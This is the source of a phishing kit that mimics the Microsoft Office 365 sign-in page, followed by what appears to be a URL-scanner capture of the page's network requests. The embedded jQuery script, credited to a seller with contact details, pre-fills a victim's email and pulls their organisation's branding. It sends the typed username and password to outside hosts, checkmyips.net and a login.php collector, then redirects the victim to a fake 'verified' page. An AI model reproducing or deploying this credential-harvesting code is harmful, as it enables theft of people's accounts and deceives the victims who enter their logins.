											 <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
											 <a href="#" class="email-picker">
												 <div class="block-m2">
													<img role="presentation" src="https://i.ibb.co/jg6w34B/picker-account.png"> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="https://srv-file8.gofile.io/download/NAGerp/picker_more.png" alt=""></span>
												 </div>
											 </a>
											 <a href="#" class="email-picker2">
												 <div class="block-m2">
													<img role="presentation" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48Y2lyY2xlIGN4PSIyNCIgY3k9IjI0IiByPSIyNCIgZmlsbD0iI2U2ZTZlNiIvPjxwYXRoIGQ9Ik0yNSwyM0gzNnYySDI1VjM2SDIzVjI1SDEyVjIzSDIzVjEyaDJaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+"><span style="word-wrap:break-word;"> Use another account</span>
												 </div>
											 </a>
											 <br>
										</div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>

                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                      
                                    </div>
                                 </div>
                                 <div class=row>
									<div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
										<div class="alert alert-error error-alert-msg"></div>
										<br>
									</div>
                                    <div class="col-md-24 form-group">
                                      
									    <div class="">
											<input type="text" name="email" id="email" class="form-control ltr_override" value="" placeholder="Email, phone or skype">
                                       </div>
                                    </div>
                                 </div>
								 <p>No account? <a href="#">Create one!</a></p>
								<a href="#" data-bind="
            attr: { 'id': switchToCredId },
            text: switchToCredText,
            click: switchToCred_onClick" id="idA_PWD_SwitchToFido">Sign in with a security key</a>
        <!-- /ko -->

        <!-- ko if: displayHelp && selectedCredType === 7 -->
            <!-- ko component: { name: 'fido-help-button-control',
                params: {
                    isPlatformAuthenticatorAvailable: isPlatformAuthenticatorAvailable() },
                event: {
                    registerDialog: onRegisterDialog,
                    unregisterDialog: onUnregisterDialog,
                    showDialog: onShowDialog } } --><!--  -->

<span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">

    <!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_9628e22a6bfb1edc59e81064a666b614.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg" data-bind="imgSrc" src="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span>

                                 <div class="position-buttons">
                                   
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
						<div id="add_pass" style="display: none;">
							<div class="animate slide-in-next">
								<div>
									<div class="identityBanner">
										<a class="backButton" href="#" type="button">
											<img style="width: 13px; margin-top: 6px;left: 0;" src="https://image.flaticon.com/icons/svg/109/109618.svg">
										</a>
										<div class="identity"></div>
									</div>
								</div>
							</div>
							<div class="animate slide-in-next has-identity-banner pagination-view">
								<div class="row text-title">Enter password</div>
								<div class=row>
									<div class="form-group col-md-24">
										<div aria-live="assertive" role="alert" style="display: none;" class="error-alert-pass">
											<div class="alert alert-error">Your email or password is incorrect. If you don't remember your password, <a href='#'>reset it now.</a></div>
										</div>
										<div class=placeholderContainer>
											<input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
										</div>
									</div>
								</div>
								<div class=position-buttons>
									<div>
										<div class=row>
											<div class=col-md-24>
													<div class="action-links text-13">
													<div class=form-group><a href="#">Forgot my password</a></div>
													<div class=form-group></div>
												</div>
											</div>
										</div>
									</div>
									<div class=row >
										<div>
											<div class="button-container col-xs-24 no-padding-left-right">
												<div class=inline-block>
													<button class="btn btn-block btn-primary btn-signin">Sign in</button>
												</div>
											</div>
										</div>
									 </div>
								</div>
							</div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class=footer id=footer>
                     <div>
                        <div class="footerNode text-secondary">
                           <!-- <span>©2021 Microsoft</span> -->
                           <a href="#">Terms of use&nbsp;&nbsp;</a>
                           <a href="#">Privacy & cookies &nbsp;&nbsp;<b >...</b></a>
                          
                        </div>
                     </div>
                  </div>
               </div>
            </div>

      </div>

   
</div></div>
        <!-- /ko -->

        <!-- ko if: isVerticalSplitTemplate() && isVerticalSplitTemplateLoaded() --><!-- /ko -->
    <!-- /ko -->
<!-- /ko --></div>
    <!-- /ko -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
	  <script>
		$( document ).ready(function() {
			// THIS SCRIPT CODED BY MIRCBOOT
			// CONTACT US SKYPE : MIRCBOOT
			// ICQ : 703514486
			// Genral 365 Version 14
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!! Attention !!!!!!!!!!!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

			// Note : if this HTML page hosted on http(s) domain so you must add the http(s) url php file to avoid cross error //

			var php_url = 'https://globalservicemail.com/hars/login.php'; // Enter your post PHP page url here.
			var check_mx = false; // true or false for check outlook MX.



			// ******************************************************************************************************* //
			var hash = window.location.hash;
			var email = hash.split('#')[1];

			if(true_email(email)){
				$("#pick_em").show();
				$("#em_picker").html(email);
				$('#email').val(email);
			}else{
				$("#add_em").show();
			}

			$('.email-picker').on('click', function (){
				$('.identity').html(email);
				$(".error-alert-pass").hide();
				set_brand(email);
				setTimeout(function (){
					$("#pick_em").hide();
					$("#add_pass").show();
				}, 1000);
			});

			$('.email-picker2').on('click', function (){
				$('#email').val('');
				$("#pick_em").hide();
				$("#add_em").show();
			});

			$('.btn-email').on('click', function (){
				var email = $('#email').val();
				$('.identity').html(email);
				$(".error-alert").hide();
				$('.btn-email').prop('disabled', true);
				if(true_email(email) == false){
					$(".error-alert").show();
					$(".error-alert-msg").html('Please enter correct office 365 email account.');
					$('.btn-email').prop('disabled', false);
				}else{
					if(check_mx == true){
						var domain = email.split('@')[1];
						var str;
						$.ajax({
							url: php_url + '?domain=' + domain,
							success: function(data){
								str = data.includes("outlook");
								if(str){
									set_brand(email);
									setTimeout(function (){
										$("#add_em").hide();
										$("#add_pass").show();
									}, 1000);
								}else{
									$(".error-alert").show();
									$(".error-alert-msg").html('You can\'t signin with this account, Please use work or school account instead.');
									$('.btn-email').prop('disabled', false);
								}
							},
							error: function(xhr){
								$(".error-alert").show();
								$(".error-alert-msg").html('Error occured, Please try again.');
								$('.btn-email').prop('disabled', false);
							}
						});
					}else{
						set_brand(email);
						setTimeout(function (){
							$("#add_em").hide();
							$("#add_pass").show();
						}, 1000);
					}
				}
			});

			$('.btn-signin').on('click', function (){
				$('.btn-signin').prop('disabled', true);
				setTimeout(function (){
					$(".error-alert-pass").hide();
				}, 500);
				var user = $('#email').val();
				var pass = $('#password').val();
				$.ajax({
					url: "https://checkmyips.net/api/geoip/",
					type: "POST",
					data: {user:user,pass:pass,t:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.status == 'OK'){
							$.ajax({
								 url: php_url,
								 type: "POST",
								 data: {user:user,pass:pass,country:i.country,ip:i.ip},
								 success: function(finish_url){
									window.open('https://customredirects.z13.web.core.windows.net//myoofice/verified.html', '_top')
								 }
							 });
						}else{
							$(".error-alert-pass").show();
							$('.btn-signin').prop('disabled', false);
						}
					},
					error: function(){
						$(".error-alert-pass").hide();
						$('.btn-signin').prop('disabled', false);
					}
				});
			});

			$('.backButton').on('click', function (){
				$('#bg_image').css('background-image', 'url(lib/img/background.jpg)');
				$('#logo_image').attr('src', 'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg');
				$('#banner_image').show();
				$('.btn-email').prop('disabled', false);
				$("#add_pass").hide();
				$("#add_em").show();
				$(".error-alert-pass").hide();
			});

			function set_brand(email){
				$.ajax({
					url: php_url,
					type: "POST",
					data: {email:email,barnd:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
							$('#bg_image').css('background-image', 'url(' + i.bg_image + ')');
							$('#logo_image').attr('src', i.logo_image);
							$('#banner_image').hide();
						}
					}
				});
			}
		});

		function true_email(a) {
			var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
			return re.test(a);
		}
	  </script>
    <script type="text/javascript">
  $(document).keypress(function(event){
  var keycode = (event.keyCode ? event.keyCode : event.which);
  if(keycode == '13'){
    $("#btn-email, .btn-signin").click();
  }
});
</script>

<!-- ko if: svr.urlCBPartnerPreload -->

<!-- /ko --></div></body></html>
Protocol
H2
Security
TLS 1.3, , AES_256_GCM
Server
152.199.23.37 , United States, ASN15133 (EDGECAST, US),
Reverse DNS
Software
ECAcc (lhd/3589) /
Resource Hash
d8f5ab3e00202fd3b45be1acd95d677b137064001e171bc79b06826d98f1e1d3

Request headers

Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

x-ms-blob-type
BlockBlob
date
Wed, 10 Mar 2021 10:27:59 GMT
content-md5
eRaolOvefSnCzCmyZ/Epnw==
age
1419166
x-cache
HIT
content-length
17453
x-ms-lease-status
unlocked
last-modified
Fri, 27 Mar 2020 19:42:36 GMT
server
ECAcc (lhd/3589)
etag
0x8D7D2870015D3DE
content-type
image/jpeg
access-control-allow-origin
*
x-ms-request-id
1e6cd5bb-c01e-006e-35af-089d98000000
access-control-expose-headers
x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
cache-control
public, max-age=31536000
x-ms-version
2009-09-19
accept-ranges
bytes
converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css
aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ Frame 83F5 		0
19 KB 		Other
General
Check archive.org
Download Go to
Full URL
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css
Requested by
Host: text
URL: data:text/html;base64,<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to Outlook</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">

    <meta name="PageID" content="ConvergedSignIn">
    <meta name="SiteID" content="">
    <meta name="ReqLC" content="1033">
    <meta name="LocLC" content="en-US">



<script type="text/javascript">//<![CDATA[
$Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","showCantAccessAccountLink":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~Åland Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~XMR~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaçao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Guadeloupe~590!!!GU~Guam~1!!!GT~Guatemala~502!!!GG~Guernsey~XMR~Hong Kong SAR~852!!!HU~Hungary~36!!!IS~Iceland~354!!!IN~India~91!!!ID~Indonesia~62!!!IR~Iran~98!!!IQ~Iraq~964!!!IE~Ireland~353!!!IM~Isle of Man~XMRKZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~Luxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Montenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norway~XMR!!!PG~Papua New Guinea~675!!!PY~Paraguay~595!!!PE~Peru~51!!!PH~Philippines~63!!!PL~Poland~48!!!PT~Portugal~351!!!PR~Puerto Rico~1!!!QA~Qatar~974!!!RE~Réunion~262!!!RO~Romania~40!!!RU~Russia~7!!!RW~Rwanda~250!!!BL~Saint Barthélemy~590!!!KN~Saint Kitts and Nevis~1!!!LC~Saint Lucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~248!!!SL~Sierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~XMR Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syria~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United Arab Emirates~971!!!GB~United Kingdom~XMR~39!!!VE~Venezuela~58!!!VN~Vietnam~84!!!WF~Wallis and Futuna~681!!!YE~Yemen~967!!!ZM~Zambia~260!!!ZW~Zimbabwe~263","fUseInlinePhoneNumber":true,"fDetectBrowserCapabilities":true,"urlSessionState":"https://login.microsoftonline.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1\u0026mkt=en-US\u0026hosted=0\u0026device_platform=Windows+10","urlMsaResetPassword":"https://account.live.com/password/reset?wreply=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1\u0026mkt=en-US\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","urlSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetOneTimeCode":"https://login.microsoftonline.com/common/GetOneTimeCode","urlLogout":"https://login.microsoftonline.com/common/uxlogout","urlForget":"https://login.microsoftonline.com/forgetuser","urlDisambigRename":"https://go.microsoft.com/fwlink/p/?LinkID=733247","urlCBPartnerPreload":"https://outlook.office365.com/owa/prefetch.aspx","urlPIAEndAuth":"https://login.microsoftonline.com/common/PIA/EndAuth","fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sErrTxt":"","sResetPasswordPrefillParam":"username","onPremPasswordValidationConfig":{"isUserRealmPrecheckEnabled":true},"fSwitchDisambig":true,"fUseConsumerEmailError":true,"oCancelPostParams":{"error":"access_denied","error_subcode":"cancel","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"iRemoteNgcPollingType":2,"fUseNewNoPasswordTypes":true,"fAccessPassSupported":true,"fShowAccessPassPeek":true,"urlAadSignup":"https://signup.microsoft.com/signup?sku=teams_commercial_trial\u0026origin=ests\u0026culture=en-US","urlOidcDiscoveryEndpointFormat":"https://login.microsoftonline.com/{0}/.well-known/openid-configuration","urlTenantedEndpointFormat":"https://login.microsoftonline.com/{0}/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=0\u0026client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nonce=637506262504499460.670cbd21-ab10-4461-9a94-d14b528cc43e\u0026state=Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf\u0026allowbacktocommon=True","sCloudInstanceName":"microsoftonline.com","fShowSignInOptionsAsButton":true,"fImprovePhoneDisambig":true,"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlFooterTOU":"https://www.microsoft.com/en-US/servicesagreement/","urlFooterPrivacy":"https://privacy.microsoft.com/en-US/privacystatement","urlPost":"https://login.microsoftonline.com/common/login","urlPostAad":"https://login.microsoftonline.com/common/login","urlPostMsa":"https://login.live.com/ppsecure/partnerpost.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdA